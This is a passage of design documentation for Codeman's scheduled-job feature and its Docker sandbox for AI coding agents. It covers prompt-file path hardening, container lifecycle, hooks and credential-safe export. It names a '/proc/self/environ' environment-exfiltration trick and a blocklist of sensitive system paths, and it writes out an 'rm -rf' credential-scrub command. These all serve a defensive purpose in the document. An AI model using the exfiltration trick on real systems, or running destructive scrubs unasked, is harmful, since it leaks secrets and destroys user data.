- ⚠️ **Drift**: the next run re-anchors to the actual fire time, not to an ideal
cadence — a slow tick or restart shifts subsequent runs slightly later. This is
an accepted limitation.
### `daily`
- Fires at `dailyTime` (`HH:MM`) every day, server-local.
- If today's time has already passed, the next run is tomorrow at that time.
### `weekly`
- Fires at `weeklyTime` on each weekday in `weeklyDays` (0 = Sunday … 6 =
Saturday), server-local.
- The next run is the soonest upcoming matching weekday/time within the next 7
days.
---
## 5. Prompt source (`promptMode`)
### `inline_text`
The prompt is the literal `promptText`. Simplest option.
### `prompt_file_path`
The prompt is read from a file at fire time. **This path is security-hardened**
because a job config is attacker-controllable and the file's contents are
injected into an agent session (an exfiltration sink over SSE/terminal).
`resolveSafePromptPath()` enforces, in order:
1. **`realpath` resolution** — symlinks are resolved to their true target, for
the prompt file **and for `workingDir` itself**.
2. **`workingDir` is not a trust boundary** — because it is user-supplied, the
resolved `workingDir` is itself rejected if it is `/` or resolves into a
blocked tree (`/etc`, `/root`, operator extras) or a pseudo-filesystem
(`/proc`, `/sys`, `/dev`). This closes the `workingDir: '/proc'` +
`promptFilePath: '/proc/self/environ'` env-exfil trick. The same rule is
enforced earlier, at job create/update.
3. **Blocklist** (defense-in-depth) — sensitive trees (`/etc`, `/root`,
`/proc`, `/sys`, `/dev`, known secret locations) are rejected for the
resolved prompt file.
4. **Allowlist (primary gate)** — the resolved path **must live inside the job's
(resolved) `workingDir`** (`validateSessionFilePath`). A symlink escaping the
workspace fails here.
5. **Regular-file check** — directories, FIFOs, and `/dev/*` character devices
are rejected (they would hang or OOM an unbounded read).
6. **Size cap** — files larger than **1 MiB** (`MAX_PROMPT_FILE_BYTES`) are
rejected.
7. **Single-line check** — after trailing newlines are stripped, the file
content must be a single line (see §6).
If any check fails, the run is recorded as **`failed`** with the reason; no
session is created.
---
## 6. Prompt delivery (`inputMode`)
Once the CLI is ready (see §8), the prompt is written to the session with a
| `warn_only` | Always launch. (The count is surfaced but not blocking.) |
| `skip_if_same_agent_running` | If ≥ 1 **other, live** session of that mode is active, **skip** this fire — record a `skipped` run and (for recurring schedules) advance the schedule without launching. |
Notes on `skip_if_same_agent_running`:
- Only **live** sessions block: a tab whose CLI already exited (status
`stopped`/`error`) does not count.
- Sessions created by **this job's own previous runs never block it** —
otherwise a recurring job would deadlock on the session it created last time
and fire exactly once.
- A skipped **`once`** job is **not consumed**: it stays armed and retries on
the next tick until the blocking session goes away, then fires its single run.
- A skip is **not** a run: it sets `lastStatus = 'skipped'` but does **not**
advance `lastRunAt`.
- Consecutive skips are **coalesced** — a perpetually-skipped interval job writes
**one** skip record per streak, not one every tick, so it can't bloat
`state.json`.
**Run Now ignores this policy on the server.** The browser shows a `confirm()`
warning if same-type sessions are active, but if you proceed (or call the API
directly), the job launches unconditionally.
---
## 8. What happens when a job fires
Sequence in `CronService.launch()`:
1. A `CronJobRun` is created with status **`created`** and broadcast
(`cron:runCreated`).
2. The prompt is resolved (inline or file, single-line enforced). Failure →
**`failed`**.
3. `workingDir` is checked (`statSync().isDirectory()`). Missing/not-a-dir →
| Job never fires | Disabled, or `nextRunAt: null` | Check **Enabled**; verify the schedule fields are complete. |
| Run shows `failed` immediately | Bad `workingDir`, prompt-file rejected, or session cap hit | Read `errorMessage` on the run; confirm the dir exists and the prompt file is inside it and < 1 MiB. |
| Run shows `skipped` | `skip_if_same_agent_running` + another live same-type session (this job's own sessions and dead tabs don't count) | Switch to `warn_only`, or wait for the other session to end. |
| Run fails with "single line" | Multi-line prompt text / prompt file | Keep the prompt to one line; point the agent at a file to read for long instructions. |
| Sessions pile up between runs | `autoClosePreviousSession: false` | Re-enable auto-close, or delete old tabs before the 50-session cap bites (see §8). |
| Wrong fire time | Timezone assumption | Times are **server-local** — check the host clock/TZ. |
| One-time job won't re-fire | `completedOnce` set | Edit the schedule (any real schedule change re-arms it). |
---
## 16. Related docs
- `docs/cron-discovery.md` — architecture / integration-point analysis (why the
feature reuses the session layer and stays distinct from `ScheduledRun`).
- `docs/cron-build-brief.md` — the original build brief / requirements.
1.**Isolation posture**: CONVENIENT default (bind-mount host `~/.claude` etc. read-write so the existing login just works; network on; still hardened non-root + cap-drop + resource caps). SEALED profile (`mountCredentials:false` + `network:none`) is a per-case opt-in.
2.**Export**: offer BOTH full-image (`commit`+`save`+workspace tar) AND workspace-only, side by side, no default (ask each time).
3.**Base image**: BUILD LOCALLY on first use via `scripts/build-agent-image.mjs` from a repo `docker/agent.Dockerfile`. No registry required. (GHCR pull can be added later.)
4.**Hooks**: WIRE HOOKS NOW. Codeman scaffolds `.claude/settings.local.json` + CLAUDE.md into the linked host workspace dir (same as local cases), enabling in-container permission prompts, hook-idle detection, and the Claude Model picker.
Adopted defaults for the remaining open items (Section 10): resume-on-restart ON; container is per-CASE and shared by multiple sessions (killing one session only kills its in-container tmux session, never `docker stop` while siblings remain; stop/remove only on explicit teardown or case-delete); rootless caps = ship-with-warning (`capsEnforced` surfaced); remote docker daemon = local-first; podman = docker-first best-effort.
## Implementation status (branch `feat/docker-session-mode`)
DONE and END-TO-END VERIFIED against a real docker daemon (create host, link case, quick-start shell in a real container, workspace bind-mount round-trip, hook scaffolding, session-delete keeps the shared container up, case-delete `docker rm`s it):
- Phase 0-1: types (`DockerHost`/`DockerCase`/`SessionDocker`), `src/docker-hosts.ts` (storage, pure `buildDockerBaseArgs`/`buildDockerCreateArgs`, `containerApiUrl`, `hostGatewayAlias`, config-hash, credential-mount resolution, daemon probes), `DockerHostSchema`/`DockerCaseLinkSchema`. 26 unit tests.
- Deferred refinements: in-container model-picker via `settings.local.json`; live mid-run resume-id capture into `DockerCase.lastClaudeSessionId`; rootless/Desktop uid probe (currently a platform heuristic).
## 1. Goal & user stories
Add "Docker cases" to Codeman: a case can point at a container instead of a local or remote-SSH path, and any of the five CLI backends (`claude` / `shell` / `opencode` / `codex` / `gemini`) runs inside that container. It is modeled as a LOCATION OVERLAY on cases, exactly like the remote-SSH feature (COD-94/#145), never as a sixth `SessionMode`.
User stories:
- As the repo owner, I link a case to a per-project container so an autonomous Claude/Ralph run executes in a hardened sandbox (cap-drop, non-root, resource caps) instead of directly on my host, while keeping my existing OAuth login and transcript history working with zero extra setup.
- I set default, per-case-changeable container settings (image, network mode, memory/cpu/pids caps) at link time and edit them later, and edits actually take effect through a recreate-on-drift path (see Section 4).
- I reconnect after a Codeman restart and land back in the SAME running agent with the conversation intact. When the CONTAINER itself was stopped/rebooted/OOM-killed (which destroys the in-container tmux), the next launch RESUMES the last conversation from the bind-mounted transcript rather than starting fresh (durability model in Section 2, Key decision 1).
- I export a finished run's whole environment (toolchain plus workspace) to a portable, secret-free `.tar.gz`, move it to another machine, and import it back into a fresh case in one click.
- The container never accumulates: killing the session stops it, deleting the case removes it, and an instance-scoped boot reaper reaps containers whose case is gone.
Non-goals for the MVP: multi-tenant untrusted-code isolation guarantees (Codeman is loopback-default and single-operator, and the agent already runs `--dangerously-skip-permissions` on the host today), Kubernetes/compose orchestration, and per-command ephemeral containers.
## 2. Chosen architecture and why
The design grafts the strongest idea from each of the three proposals:
- Overlay-not-a-mode + faithful remote-SSH mirror (from "Docker Cases as a Location Overlay"): lowest churn, rides the existing quick-start / mux-sessions / state / recovery plumbing.
- Convenient-but-hardened default with an opt-in sealed profile, plus exec-time name-only secret env (from "Sealed Sandbox"): a strict security improvement over today's on-host execution without the UX tax of forcing an in-container re-login.
### Key decision 1: persistent per-CASE container, durable in-container tmux, AND resume-on-restart (the two-layer durability model)
Exactly one long-lived container per Docker case, named as a pure slug function `codeman-case-<slug>` (Docker charset `^[a-zA-Z0-9][a-zA-Z0-9_.-]+$`; Codeman already slugs case names for tmux), so create-if-missing and boot recovery are idempotent. PID1 is `sleep infinity` under `--init` (tini reaps zombies and forwards `docker stop`'s SIGTERM); the CLI is NOT the container command. The CLI runs inside a DURABLE in-container tmux on a dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>`, the direct analog of remote's `-L codeman-remote` / `codeman-ssh-<id8>`.
Two DIFFERENT failure surfaces need two DIFFERENT recovery layers, and conflating them is the central flaw the critic caught:
1. Codeman-PROCESS restart while the container stays up: the in-container tmux is still alive, so `tmux new-session -A` (attach-or-create) reattaches the SAME live agent and the paneCommand is ignored. This is the remote-SSH durability idiom and it works unchanged.
2. CONTAINER stop / daemon restart / host reboot / OOM-kill: the in-container tmux is GONE (fresh PID1). `new-session -A` will now CREATE a fresh session and run the paneCommand, which would start a brand-new conversation. This is the case the raw plan silently lost. Because the transcript directory is bind-mounted from the host (Key decision 3), the fix is to launch with RESUME: the paneCommand becomes `exec claude --dangerously-skip-permissions --resume <claudeSessionId>` (codex uses `resume <id>`, gemini `--resume <id>`) whenever a captured `claudeSessionId` exists. The `-A` semantics make this self-selecting: the resume flag only ever executes when tmux is actually re-created, which is exactly when the live session was lost. When tmux is still alive (case 1), attach wins and the flag is inert.
Capturing / persisting / reusing the resume id (the missing mechanism the critic flagged): Codeman already learns `Session.claudeSessionId` from transcript correlation (which works here because projHash matches, Key decision 3) and persists it in `SessionState`. We thread that value into `createSessionOptions` / `respawnPaneOptions` for docker so `buildDockerLaunchCommand` can inject the resume flag on any relaunch. To make a NEW Codeman session (new `id8`) re-launched against the same case resume its predecessor's conversation, we ALSO persist `lastClaudeSessionId` on the `DockerCase` record; the quick-start docker branch seeds the new `Session` with it when the `dockerResumeOnStart` setting is on. First-ever launch has no id, so it starts fresh. This is user-decision 7 (default resume behavior).
Reconciling with stop-on-kill and with the `--restart` policy (the internal inconsistency the critic found): the container is created with `--restart no` uniformly (Codeman's idempotent create-if-missing plus boot recovery is the single recovery mechanism; a restart policy would not preserve the conversation anyway because a restarted container gets a fresh PID1/tmux). Boot recovery re-runs `buildDockerLaunchCommand` from the restored `MuxSession.docker` (`docker inspect || docker create; docker start`, then exec with resume), so a host reboot or daemon restart recreates+starts the container and resumes the conversation instead of the session vanishing. `reconcileSessions` (tmux-manager.ts ~1800-1815) must NOT hard-delete a docker session merely because no LOCAL pane exists after the local `-L codeman` server died; docker (like remote) sessions are restored from `mux-sessions.json` and relaunched. This relaunch path is explicitly part of Phase 4/Phase 3 recovery work, not assumed.
Why this over the alternatives: `docker exec` gets SIGHUP and dies when its client TTY closes, so a bare `docker exec claude` restarts the CLI on every reconnect/respawn. The inner tmux plus resume is what makes reconnect idempotent across BOTH failure surfaces. Because this durability is the single most important design point, tmux-in-image is a HARD gated prerequisite (`checkDockerTmuxAvailable`), never a silent fallback to bare exec. Rejected alternatives: ephemeral-per-run or bare-exec containers (no reattach durability); a literal `'docker'``SessionMode` (touches dozens of switch/enum sites and diverges from the remote overlay precedent, since Docker is a LOCATION orthogonal to the 5 CLI backends).
### Key decision 2: CLI + auth delivery
One prebuilt base image (built once, contains NO secrets): `node:22-bookworm-slim` + `git tmux ripgrep ca-certificates`, `npm i -g @anthropic-ai/claude-code @openai/codex @google/gemini-cli opencode-ai`, an `agent` user, HOME dirs made writable by an arbitrary host uid via the OpenShift "gid 0, group-writable" convention (Key decision 6). Because the toolchain is baked, export is reproducible and needs no network at import time. The image name/namespace/registry and its refresh cadence are user-decision 2 (the `codeman/agent:base` placeholder implies a Docker Hub org the project may not own).
Credentials are delivered ONLY at runtime, two commit-safe channels, default convenient:
- OAuth/config-file CLIs (Claude Max/Pro, gcloud, opencode): bind-mount the host credential dirs read-write (`~/.claude`, `~/.codex`, `~/.gemini` + `~/.config/gcloud`, `~/.config/opencode`) so the common user "just works" with no in-container login. Because these are bind mounts, `docker commit` (which captures only the container's own writable layer, never bind mounts) physically cannot capture them, so exports stay secret-free.
- API-key CLIs (codex/gemini): exec-time NAME-ONLY `docker exec --env OPENAI_API_KEY --env GEMINI_API_KEY ...` (no `=value`), sourced from Codeman's own process env. Only the key NAME appears in argv (no `ps` leak), and per-exec env is never captured by `docker commit`. This is the technique Codeman already uses via `tmux setenv` for the local Codex/Gemini panes, so it composes with existing machinery.
Per-host `DockerHost.mountCredentials` defaults `true` (convenient); setting it `false` yields a SEALED profile (no host cred mounts, in-container login only) for genuinely untrusted work. CRITICAL sealed-mode export rule (the leak the critic caught): in sealed mode the in-container login writes tokens into the container's OWN writable layer, which `docker commit` DOES capture, so a full-image export of a sealed container would ship credentials. Therefore full-image export is REFUSED for `mountCredentials:false` containers by default; the user may either take a workspace-only export (always safe) or opt into a pre-commit scrub that `docker exec`s `rm -rf ~/.claude ~/.codex ~/.gemini ~/.config/gcloud ~/.config/opencode` inside the container before commit (destructive to the in-container login, which is the point). This is enforced in the export route, not left to a manifest assertion.
Per-session `envOverrides` / `effort` / `codexConfig` / `geminiConfig` / `openCodeConfig` are REJECTED at quick-start exactly like the remote branch (session-routes.ts ~1698-1710). `modelOverride` is the one deliberate difference from remote: because the docker workspace is a REAL bind-mounted host dir that Codeman scaffolds (Key decision 5 and Section 6), `updateCaseModel()` can write the `model` key into `<workspace>/.claude/settings.local.json` and the in-container `claude` reads it, so the App Settings Claude Model picker works for docker cases. `effort` is a `--effort` CLI arg applied only by the local-spawn path we bypass, so it stays rejected (surfaced honestly in the UI, not silently inert). Per-mode command customization goes through `DockerHost.commands.<mode>` (`defaultDockerCommandForMode`, mirror of `defaultRemoteCommandForMode` at remote-hosts.ts:60). NEVER bake secrets into an image layer and NEVER pass a secret via create-time `-e` (both are committed).
Rejected alternative: sealed-by-default. For a single-operator loopback tool where the agent already runs skip-permissions on the host, forcing an in-container OAuth re-login is a UX regression with little real gain. We keep sealed as an opt-in. Rejected alternative: baking a login into the image, which leaks the instant you `docker save`.
Bind-mount the host workspace dir into the container at the SAME absolute path (`dst == src`, mirror the host path), and set both `Session.workingDir` and the container workdir to that host path.
Two problems this solves that the raw proposals got wrong:
- File features: `DockerCase.hostWorkspacePath` is a REAL host directory, so `Session.workingDir = hostWorkspacePath` keeps file-routes, attachments, image-watcher, and previews working on real host bytes (unlike remote, where the path is remote-only and those features no-op). All three proposals wired `casePath = <container path>`; we deliberately diverge and use the host path.
- Transcript correlation: Claude writes transcripts under `~/.claude/projects/<hash-of-CWD>/`. By mirroring the host path as the container CWD, the projHash computed inside the container equals the host-side hash Codeman's transcript/subagent/workflow watchers expect, so correlation keeps working (and, in turn, feeds the resume-id capture in Key decision 1). A `/workspace`-style fixed dst would break it. Mirror-vs-fixed is user-decision 3.
`resolveMuxAttachCwd` still returns `/tmp` for docker sessions (the LOCAL bash pane only runs `docker exec`; it never needs the workspace as its cwd), mirroring remote.
### Key decision 4: network default and the engine-specific host gateway
Default `bridge` (own netns, NAT egress, no inbound), per-case changeable to `none` (offline shell sandbox; warned because it breaks the API CLIs) or `custom` (a user-defined bridge `codeman-net-<slug>`, the chokepoint for a future egress allowlist). `host` networking and any `-p` inbound publish are structurally unrepresentable in the flag builder and schema. Rationale: every API-backed CLI (Claude, Codex, Gemini) plus npm/git needs egress, so `bridge` is the only sane functional default; `none` is reserved for `shell`.
The host-callback gateway alias is ENGINE-SPECIFIC (the critic's podman finding): Docker uses `host.docker.internal`, Podman uses `host.containers.internal` (Docker's alias only exists on recent podman). A helper `hostGatewayAlias(engine)` returns the right name; Section 2.5, the create args, the `CODEMAN_API_URL` rewrite, and the host-guard allowlist all consume it, and BOTH aliases are added to the allowlist so a mixed fleet keeps working.
### Key decision 5: hooks actually reach the host AND are actually installed
Two independent things must both be true for a hook to fire, and the raw plan wired only the first:
1. Network reachability. Claude Code hooks POST to `$CODEMAN_API_URL` (`curl -sk`). Inside a bridge container `localhost` is the container and prod binds `127.0.0.1`, so we set `--add-host <gatewayAlias>:host-gateway` on create (skipped on Docker Desktop, where the alias is native), add the gateway alias to the host guard, and provide `CODEMAN_API_URL` and the hook secret (below).
2. Hook INSTALLATION. Hooks live in `<workspace>/.claude/settings.local.json`, written by the quick-start scaffolding block (around session-routes.ts ~1776) that calls `writeHooksConfig()` / `updateCaseModel()`. The raw plan extended the `!remote` guard to `!remote && !docker`, which would SKIP that block and silently disable ALL hooks regardless of networking. For docker the workspace is a REAL bind-mounted host dir, so the scaffolding block MUST run. Precise fix: extend to `!remote && !docker` ONLY the LOCAL-CLI-availability and local-spawn guards (the ones that stat the local binary or build the local spawn command); leave the workspace-scaffolding guard at `!remote` so it runs for docker. This same decision is what makes `modelOverride` work (Key decision 2). Consequence, surfaced as user-decision 4: linking a docker case now WRITES `.claude/settings.local.json` (and the CLAUDE.md scaffold, matching local-case behavior) into the user's real host directory, a behavioral shift from "link a dir" to "link and scaffold a dir."
`CODEMAN_API_URL` derivation (the wrong-scheme bug the critic caught): prod is HTTPS-only on 3000, and `server.ts` (~2000) auto-sets `process.env.CODEMAN_API_URL = ${protocol}://${apiHost}:${port}`. Hardcoding `http://host.docker.internal:3000` fails every hook. Instead a pure helper `containerApiUrl(process.env.CODEMAN_API_URL, engine)` parses the running URL and substitutes ONLY the hostname with `hostGatewayAlias(engine)`, preserving scheme and port (`https://host.docker.internal:3000`). Unit-tested against http, https, non-default ports, and both engines. Passed as create-time `--env CODEMAN_API_URL=<derived>` (case-stable, non-secret).
Hook secret and session attribution:
-`~/.codeman/hook-secret` is bind-mounted read-only to a container path; `--env CODEMAN_HOOK_SECRET_FILE=<that path>` is create-time (a path is non-secret; the bytes ride the bind mount and are never committed).
-`CODEMAN_SESSION_ID` (which the generated hooks reference at hooks-config.ts:78-80 to attribute events) plus `CODEMAN_MUX=1` are SESSION-scoped, so they are passed at EXEC time via `docker exec --env CODEMAN_SESSION_ID=<id> --env CODEMAN_MUX=1` (non-secret, value inline is fine, and exec env is not committed). Because a `tmux` session started fresh only inherits the invoking env when it starts the SERVER, the launch chain ALSO runs `tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID <id>` (and `CODEMAN_MUX`) so reattaches and newly created panes see the same values. This mirrors how Codeman already injects per-session env into tmux for the external CLIs.
Hooks-in-MVP-vs-deferred stays user-decision 4; if deferred, docker ships as explicitly hook-degraded and we lean on output-based idle detection through the docker-exec PTY.
The raw plan showed `--user 1000:1000` in one place and `--user "$(id -u):$(id -g)"` in another and never resolved HOME writability; this section fixes all of it.
- Linux native (docker rootful or rootless): run `--user <hostUid>:0` (host uid, GID 0). The image follows the OpenShift arbitrary-uid convention: `HOME=/home/agent`, and `/home/agent` plus the tool cache dirs (`~/.npm`, `~/.cache`, `~/.config`) are owned `root:0` and group-writable (`chmod -R g+w`, `g+s` on dirs) so a process with GID 0 can write HOME even though its UID is not 1000. This keeps workspace files host-owned (the agent's UID is the host UID) AND keeps HOME writable, so the CLIs actually start.
- Podman rootless: use `--userns=keep-id` (maps the host uid to the image's `agent` uid inside the container) instead of `--user`, so `/home/agent` is owned by the running user and workspace files are host-owned. This is a real per-engine branch in `buildDockerCreateArgs`.
- macOS Docker Desktop: `--user <macUid>` (e.g. 501) does not own the image's `/home/agent`, so non-bind HOME writes fail EACCES and the CLIs may not start; Desktop also does its own bind-mount uid translation, provides `host.docker.internal` natively (no `--add-host`), and its VM memory ceiling can cap `--memory`. Detect Desktop via `docker info` (Server OS `linuxkit` / `OperatingString` contains "Docker Desktop") and take a dedicated path: do NOT pass `--user` (run as the image's baked `agent` uid and rely on Desktop's translation for workspace access), skip `--add-host`, and note in the UI that memory caps are subject to the VM ceiling.
Rootless resource-cap enforcement (the silently-inert risk): rootless Docker without cgroup-v2 systemd delegation (`Delegate=yes`) silently IGNORES `--memory`/`--cpus`/`--pids-limit`. The probe checks `docker info` for `CgroupVersion=2` plus rootless plus delegation; if caps cannot be enforced, `checkDockerAvailable` returns `capsEnforced:false` and the link/probe surfaces "resource caps are advisory on this engine." Whether to REQUIRE delegation or ship-with-warning is user-decision 6.
## 3. Data model
New TypeScript types in `src/types/session.ts`, added right after the remote types (lines 46-99). SessionMode (line 44) is UNCHANGED.
-`SessionState` gains `docker?: SessionDocker` immediately after `remote?` (line 219). It persists automatically because `SessionState` is structural and `state-store.ts` stores `toState()` verbatim.
-`src/mux-interface.ts`: add `docker?: SessionDocker` to `MuxSession` (after line 38), `CreateSessionOptions` (after 81), `RespawnPaneOptions` (after 105). `MuxSession.docker` round-trips through `mux-sessions.json` automatically.
-`src/types/api.ts``CaseInfo`: add `'docker'` to the `location` union and a `docker?: { hostId; container; image?; path; network }` display block.
-`src/services/unified-session-service.ts`: add a boolean `docker?` flag on `UnifiedSessionItem` and source rows, set from `MuxSession.docker` presence (mirror the `remote` flag at ~line 200 and the harvest at session-routes.ts:2313).
New state files (all via `dataPath()`, mirroring `remote-hosts.json` / `remote-cases.json`):
-`~/.codeman/docker-cases.json` (`name -> DockerCase`, including `lastClaudeSessionId`).
-`~/.codeman/docker-exports/` (dedicated dir for `.image.tar.gz` + `.workspace.tar.gz` + `manifest.json`; never inline in state.json; retention/pruning per Section 5).
No new `state.json` / `mux-sessions.json` files: `SessionState.docker` and `MuxSession.docker` ride the existing serialization.
## 4. Container lifecycle (exact command shapes)
All builders are PURE string functions (directly unit-testable). Host values interpolated into the outer `bash -c "..."` layer (container name, image, workdir, host paths) are `shellescape()`'d and, for user-supplied fields, schema-rejected for `$`/backtick via `NO_SHELL_META`. The escaping chain here is DEEPER than remote's single `ssh '<tmux ...>'`: the whole `docker inspect || docker create <dozens of --mount/--env/shellescaped host paths>` is interpolated into `bash -c "..."` then `JSON.stringify`'d into respawn-pane. This is a known place to get stuck, so it is covered by concrete escaping tests (Section 9), including host workspace paths containing spaces, not just a "we call shellescape" claim.
`buildDockerBaseArgs(docker)` (pure, in `docker-hosts.ts`, mirror of `buildSshConnectionArgs`) emits the engine prefix tokens: `docker` (or `podman`) + optional `--context <ctx>` or `-H <daemonHost>`. `buildDockerCreateArgs(docker, sessionId)` emits the `docker create` flag array (with the per-engine uid/userns branch from Key decision 6).
IMAGE PRESENCE (before any create, the auto-pull footgun the critic caught): the launch chain runs `docker image inspect <image> >/dev/null 2>&1` first; on miss it exits with a distinct message ("base image <ref> not present: build with scripts/build-agent-image.mjs or pull it") rather than triggering a blocking multi-GB auto-pull inside the tmux pane. `docker create` carries `--pull=never`. The tmux-availability probe likewise uses `docker run --rm --pull=never <image> sh -lc 'command -v tmux'` and reports the same build/pull hint if the image is absent, so the 15s-bounded probe never hangs on a pull.
CREATE (the ensure step, embedded in the launch string):
-`--user 1000:0` shown is the Linux-native form with GID 0 (Key decision 6); it is actually `--user <hostUid>:0`, or `--userns=keep-id` for podman rootless, or omitted on Docker Desktop. The literal is illustrative only.
- Create-time `--env` carries only NON-SESSION, non-secret, case-stable values (safe to be committed): the DERIVED `CODEMAN_API_URL` (https-preserving, Key decision 5) and the hook-secret FILE PATH. `CODEMAN_SESSION_ID`/`CODEMAN_MUX` and the codex/gemini key NAMES are exec-time only.
-`codeman.instance=<CODEMAN_INSTANCE>` is REQUIRED on the label set so the boot reaper is instance-scoped (a beta/second instance must never reap prod's containers).
-`codeman.confighash` is a stable hash of the drift-relevant create args (image, resources, network, mounts, non-session env). Drift detection (user story 2, the config-never-takes-effect gap): on launch the ensure block compares the desired hash to the existing container's label; on mismatch the launch does NOT silently reuse the stale container. Instead the docker route returns a "container config changed, recreate?" action (SSE + UI confirm), and on confirm Codeman `docker rm`'s and recreates. rm destroys in-image (non-bind) state, but the workspace and transcripts survive on their bind mounts and the conversation is restored via `--resume`, so the recreate is safe. Auto-recreate-vs-prompt is a UI choice; the MVP prompts.
-`--restart no` (resolved consistently with Key decision 1; recovery is Codeman's idempotent create-if-missing, not an engine restart policy, which also matters for Podman which has no daemon).
EXEC (`buildDockerLaunchCommand`, the docker analog of `buildRemoteLaunchCommand`, TTY-correct, resume-aware). The whole thing is ONE `bash -c` string that image-checks, ensures, starts, primes tmux env, then execs:
```
docker image inspect codeman/agent:base >/dev/null 2>&1 || { echo 'Codeman: base image codeman/agent:base not present (build or pull it)'; exit 1; } ; \
sh -lc 'tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID 1a2b3c4d \; setenv -g CODEMAN_MUX 1 \; new-session -A -s codeman-dkr-1a2b3c4d -c '\''/home/arkon/cases/myproj'\'' '\''cd /home/arkon/cases/myproj && exec claude --dangerously-skip-permissions --resume <claudeSessionId>'\'' \; set -t codeman-dkr-1a2b3c4d status off \; set -t codeman-dkr-1a2b3c4d mouse off \; set -t codeman-dkr-1a2b3c4d prefix C-q \; set -s escape-time 0'
```
-`docker exec -it`: `-t` allocates a PTY and forwards SIGWINCH into the container so the Ink TUI re-lays-out on pane resize; `TERM`/`COLORTERM` prevent degraded rendering. `--env OPENAI_API_KEY` (name only) is present only for codex/gemini and is exec-time (never committed). `CODEMAN_SESSION_ID`/`CODEMAN_MUX` are exec-time values plus a `tmux setenv -g` prime so reattaches and new panes inherit them (Key decision 5).
-`--resume <claudeSessionId>` (codex `resume <id>`, gemini `--resume <id>`) is appended to `modeCommand` ONLY when a captured id exists; on first launch it is omitted. `new-session -A` makes the flag inert on a live-tmux reattach and effective only when tmux is re-created (Key decision 1).
-`modeCommand = docker.commands?.[mode] || defaultDockerCommandForMode(mode)` (`exec claude --dangerously-skip-permissions`, `exec bash -l`, etc.), with the resume suffix injected by the builder.
- Escaping survives every layer identically to remote in shape but deeper in nesting: `paneCommand` (`cd ... && exec ...`) is one shellescaped tmux arg, the whole `tmuxInvocation` is one shellescaped `sh -lc` arg, and the outer string is `JSON.stringify()`'d into `bash -c` by respawn-pane (tmux-manager.ts:1329).
- respawnPane: same two edits at lines 1524 and 1542.
START / reattach-after-reboot: the ensure block (image-check, `docker inspect || docker create`, `docker start`) is fully idempotent, so boot recovery just re-runs `buildDockerLaunchCommand` from the restored `MuxSession.docker` with the persisted resume id. A rebooted host recreates the container and resumes the conversation.
DOCKER-DOWN surfacing (the PTY-exit-breaker false-trip risk): if `docker start` or `docker exec` cannot attach (daemon down, container missing), the launch prints a docker-specific message and exits, which alone would still count toward `session-pty-exit-breaker` and show a generic "respawn breaker tripped" push. To avoid masking the cause, the docker reattach path runs a fast `checkDockerAvailable` pre-flight: if the daemon/container is unreachable, Codeman broadcasts a docker-specific error (SSE + push, "container <name> is not running / daemon down") and SKIPS the auto-reattach that would trip the breaker, rather than fast-looping `docker exec`.
STOP / KILL (`killSession` Strategy 3c, right after remote's Strategy 3b at tmux-manager.ts:1719, guarded by `IS_TEST_MODE`):
```ts
if(session.docker){
// best-effort, fire-and-forget, timeout-bounded so it never blocks the local kill
`buildDockerKillCommand` emits: `docker exec codeman-case-<slug> tmux -L codeman-docker kill-session -t codeman-dkr-<id8> ; docker stop -t 10 codeman-case-<slug>`. Stopping frees CPU/RAM and, per Key decision 1, is safe for conversation continuity because the NEXT launch resumes from the bind-mounted transcript via `--resume`. Whether to stop at all (RAM vs instant live-agent reattach) is user-decision 6/1 (reframed honestly). The bind-mounted workspace and transcripts always survive on the host.
REMOVE: only on explicit case delete (`docker rm -f codeman-case-<slug>`), gated behind an "export first?" UI prompt because rm destroys any in-image (non-bind) state. Instance-scoped boot reaper (fixing the racy/cross-instance reaper): after `docker-cases.json` is loaded AND after `restoreMuxSessions` has run, enumerate `docker ps -a --filter label=codeman.managed=1 --filter label=codeman.instance=<CODEMAN_INSTANCE> --format '{{.Names}}\t{{index .Labels "codeman.case"}}'` and `docker rm -f` only containers whose case is gone from THIS instance's `docker-cases.json`. The instance filter is what stops a beta reaping prod's containers (the exact cross-instance hazard the project memory warns about).
AVAILABILITY PROBE (`docker-hosts.ts`, timeout-bounded like `checkRemoteTmuxAvailable`'s 15s, `IS_TEST_MODE` no-op):
```
docker info --format '{{json .}}' # server up, CgroupVersion, rootless, OS (Desktop detect), cap-delegation
docker run --rm --pull=never <image> sh -lc 'command -v tmux' # tmux-in-image gate (hard prerequisite), only if image present
```
`checkDockerAvailable()` returns `{ ok, engine, rootless, isDesktop, cgroupV2, capsEnforced }` (parse `SecurityOptions` for `name=rootless`, `CgroupVersion`, delegation, and Server OS for Desktop). `checkDockerTmuxAvailable(host)` returns a structured result with a user-facing error and correct install hint (NOT `npm install -g`; the hint is "build/pull the base image" for a missing image and "install docker or podman" for a missing engine).
IN-CONTAINER CLI VERSION (fixing the #154 wheel-forwarding regression): the raw plan skipped the LOCAL `cliVersion` probe for docker (correct, since it reports the HOST claude) but left `cliVersion` undefined, which disables trackpad wheel-forwarding. Instead, for docker sessions Codeman runs an IN-CONTAINER probe `docker exec <container> claude --version` (bounded, `IS_TEST_MODE` no-op) and feeds THAT into `cliVersion`. This also means a stale baked CLI is visible; combined with the rebuild-cadence in user-decision 2, agents are not silently pinned to an old claude.
## 5. Export / Import
EXPORT is a concurrency-bounded job (reuse `runWithConversionLimit` from `document-conversion-limiter.ts` so N simultaneous exports cannot fork-bomb the host). Route `POST /api/docker-cases/:name/export`.
Preconditions (the consistency and leak risks the critic caught):
- Sealed guard: if `mountCredentials:false`, full-image export is REFUSED unless the caller explicitly opts into the pre-commit scrub (Key decision 2). Workspace-only export is always allowed.
- Quiesce + free-space: require the session idle, then `docker pause` the container spanning BOTH the workspace tar AND the commit so the two artifacts are mutually consistent (the raw plan paused only the commit, leaving the bind-mount tar to run against a mid-write agent). Before any heavy step, precheck free space in the exports dir and in `/var/lib/docker`; if below `DOCKER_EXPORT_MIN_FREE_BYTES`, refuse with a clear error (a full `/var/lib/docker` wedges the daemon and breaks EVERY session on the host).
Steps (all cleanup in try/finally so a mid-way failure never orphans an intermediate image or leaves the container paused):
1.`docker commit -c 'LABEL codeman.exported=1' codeman-case-<slug> codeman/export-<slug>:<ts>` (unique tag per export defeats the stale-image trap). Optional pre-commit scrub in sealed mode as above; also blank instance-specific committed env (`-c 'ENV CODEMAN_API_URL='` etc.) so the image carries no stale host references.
